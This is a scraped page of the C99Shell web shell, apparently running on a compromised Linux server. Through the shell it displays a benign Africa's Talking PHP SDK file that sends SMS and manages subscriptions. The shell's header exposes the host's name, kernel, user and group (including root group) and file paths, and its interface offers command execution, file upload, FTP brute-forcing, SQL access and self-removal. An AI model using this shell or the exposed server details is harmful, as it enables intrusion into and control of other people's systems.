!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/africastalking/africastalking/src/   drwxr-xr-x
Free 28.51 GB of 117.98 GB (24.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Content.php (3.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace AfricasTalking\SDK;

class 
Content extends Service
{
    public function 
send ($options)
    {
        if (empty(
$options['to']) || empty($options['message'])) {
            return 
$this->error('recipient and message must be defined');
        }

        if (!
is_array($options['to'])) {
            
$options['to'] = [$options['to']];
        }

        
$data = [
            
'username'     => $this->username,
            
'to'         => implode(","$options['to']),
            
'message'     => $options['message']
        ];

        if (
array_key_exists('enqueue'$options) && $options['enqueue']) {
            
$data['enqueue'] = 1;
        }

        if (empty(
$options['from'])) {
            return [
                
'status' => 'error'
                
'data' => 'from is required for premium SMS'
            
];
        }

        if (!empty(
$options['keyword'])) {
            
$data['keyword'] = $options['keyword'];
        }

        if (!empty(
$options['linkId'])) {
            
$data['linkId'] = $options['linkId'];
        }

        if (!empty(
$options['retryDurationInHours'])) {
            
$data['retryDurationInHours'] = $options['retryDurationInHours'];
        }

        
// turn off bulk sms mode
        
$data['bulkSMSMode'] = 0;

        
$response $this->client->post('messaging', ['form_params' => $data ]);

        return 
$this->success($response);
    }

    public function 
createSubscription ($options)
    {
        if (empty(
$options['phoneNumber']) ||
            empty(
$options['shortCode']) ||
            empty(
$options['keyword']) ||
            empty(
$options['checkoutToken'])) {
            return 
$this->error("phoneNumber, shortCode keyword and checkoutToken must be specified");
        }

        
$data = [
            
'username'         => $this->username,
            
'phoneNumber'     => $options['phoneNumber'],
            
'shortCode'        => $options['shortCode'],
            
'keyword'         => $options['keyword'],
            
'checkoutToken'    => $options['checkoutToken']
        ];

        
$response $this->client->post('subscription/create', ['form_params' => $data ] );

        return 
$this->success($response);
    }

    public function 
deleteSubscription ($options)
    {
        if (empty(
$options['phoneNumber']) ||
            empty(
$options['shortCode']) ||
            empty(
$options['keyword'])) {
            return 
$this->error("phoneNumber, shortCode and keyword must be specified");
        }

        
$data = [
            
'username'         => $this->username,
            
'phoneNumber'     => $options['phoneNumber'],
            
'shortCode'        => $options['shortCode'],
            
'keyword'         => $options['keyword']
        ];

        
$response $this->client->post('subscription/delete', ['form_params' => $data ] );

        return 
$this->success($response);
    }

    public function 
fetchSubscriptions($options)
    {
        if(empty(
$options['shortCode']) || empty($options['keyword'])) {
            return 
$this->error("shortCode and keyword must be specified");
        }

        if (empty(
$options['lastReceivedId'])) {
            
$options['lastReceivedId'] = 0;
        }

        if (!
is_numeric($options['lastReceivedId'])) {
            return 
$this->error('lastReceivedId must be an integer');
        }

        
$data = [
            
'username'             => $this->username,
            
'lastReceivedId'    => $options['lastReceivedId'],
            
'shortCode'            => $options['shortCode'],
            
'keyword'             => $options['keyword']
        ];    

        
$response $this->client->get('subscription', ['query' => $data ] );

        return 
$this->success($response);

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0059 ]--